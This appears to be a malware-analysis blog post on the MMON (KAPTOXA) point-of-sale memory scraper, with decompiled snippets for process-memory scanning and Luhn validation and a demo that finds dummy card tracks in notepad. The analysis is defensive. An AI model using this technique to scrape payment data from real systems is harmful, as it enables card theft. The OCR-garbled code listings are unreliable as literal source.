## Point-of-Sale malware - MMON (aka KAPTOXA)

reversing.fun/posts/2022/01/02/mmon.html

January 2, 2022

Jan 2, 2022

MMON (aka KAPTOXA) is a command-line tool to find credit card data and other patterns within a process memory address space.

Sample:

86dd21b8388f23371d680e2632d0855b442f0fa7e93cd009d6e762715ba2d054

PDB: P:\vm\devel\dark\mmon\Release\mmon.pdb

Available command-line options:

C:\Documents and Settings\sysadmin\Desktop>mmon.exe scan all processes: mmon.exe scan all processes for string pattern: mmon.exe Ø <PATTERN> scan process with pid for kartoxa: mmon.exe <pid> scan process with pid for kartoxa and string pattern: mmon.exe <pid> <PATTERN>

To search the process memory, MMON uses a combination of **OpenProcess**,

VirtualQueryEx, ReadProcessMemory.

```
prcHdl = OpenProcess(PROCESS ALL ACCESS, 0, target pid 1);
   36
          if ( prcHdl )
37
   38
          {
 39
             fn scan process mem(prcHdl);
 40
             return 0;
   41
          }
 17
     do
 18
     {
• 19
       result = VirtualQueryEx(procHdl, lpAddress, &Buffer, 28u);
20
       v3 = result;
021
       v7 = result;
• 22
       if ( result && Buffer.RegionSize )
 23
       {
• 24
         result = Buffer.BaseAddress;
         base addr plus region size = Buffer.BaseAddress + Buffer.RegionSize;
25
26
         if ( Buffer.BaseAddress < Buffer.BaseAddress + Buffer.RegionSize )</pre>
 27
         {
           do
 28
 29
           {
• 30
             virtual_addr_max = result + 10000000;
             if ( result + 10000000 > base addr plus region size )
• 31
• 32
              virtual_addr_max = base_addr_plus_region_size;
• 33
             NumberOfBytesRead = 0;
• 34
             if ( ReadProcessMemory(procHdl, result, lpBuffer, virtual_addr_max - result, &NumberOfBytesRead) )
• 35
               fn search cc tracks(NumberOfBytesRead);
• 36
             result = virtual_addr_max;
 37
           }
• 38
           while ( virtual_addr_max < base_addr_plus_region_size );</pre>
```

The CC tracks are validated with the Luhn algorithm:

```
1 BOOL __cdecl fn_luhn_check(const char *a1)
  2 {
  3
      int v1; // eax
      const char *v2; // edx
  4
  5
      unsigned int v4; // eax
      int v5; // esi
  6
      BOOL v6; // ebx
  7
      int v7; // edi
  8
      int v8; // ecx
  9
 10
• 11
      v1 = 0;
      while (1)
• 12
 13
      {
• 14
        v2 = a1;
        if ( a1[v1] != 48 )
• 15
• 16
          break;
• 17
        if (++v1 >= 16)
18
          return 0;
 19
      }
20
      if ( !a1 )
21
        return 0;
      v4 = strlen(a1);
22
23
      if (v4 - 13 <= 6)
      {
 24
25
        v5 = v4 - 1;
26
        v6 = 0;
27
        v7 = 0;
        if ( (v4 - 1) <= -1 )
28
          return v7 % 10 == 0;
29
        while ( isdigit(v2[v5]) )
0 30
 31
        {
32
          v8 = a1[v5] - 48;
          if ( v6 )
33
 34
          {
35
            v8 *= 2;
            if (v8 > 9)
36
             v8 += 1 - 10 * (v8 / 10);
37
          }
 38
9 39
          --v5;
• 40
          v7 += v8;
          v6 = !v6;
• 41
• 42
          if (v_5 <= -1)
A 12
```

```
43
    return v/ % 10 == 0;
44
    v2 = a1;
45
    }
46
    }
47
    return 0;
48
}
```

As seen below, MMON was able to find the dummy CC tracks within the notepad process memory:

🔂 dummy tracks clean - Note
En Command Prompt
File Edit Format View Help scan process:1152
%B4/16042088430250^MR
4716042088430250=2108 C:\Documents and Settings\sysadmin\Desktop>mmon.exe
scan all processes: mmon.exe
scan all processes for string pattern: mmon.exe Ø <pattern></pattern>
scan process with pid for kartoxa: mmon.exe <pid>     scan process with pid for kartoxa and string pattern: mmon.exe <pid> <pattern>     scan process with pid for kartoxa and string pattern: mmon.exe <pid> <pattern></pattern></pid></pattern></pid></pid>
B4716042088430250A210 scan process with pid for kartoxa and string pattern: mmon.exe <pid> <pattern> 4716042088430250D2108 The operation completed successfully.</pattern></pid>
scan process:4
scan process:384
scan process:644
scan process:668 scan process:712
scan process -112 scan process -224
scan process 724 scan process 7944
scan process:960
scan process:1040
scan process:1204
scan process:1256 scan process:1316
scan process 1316 scan process 1324
scan process 1572
scan process:1616
scan process:1656
scan process:1804
scan process 1856
scan process:180 scan process:472
scan process:568
scan process:868
scan process:1172
scan process:1180
scan process 1200
scan process:348 scan process:1280
scan process 1200 scan process 12084
scan process:168
scan process:1228
CC2 region:14 [00000222000000?
4716042088430250=21082010000002220000] scan process:1404
4716042088430250=210820100000022200001
CC2 region:26 [ 000222000000?
4716042088430250=21082010000002220000]
Civ Decuments and Sattinger augusting Decktory
C:\Documents and Settings\sysadmin\Desktop>_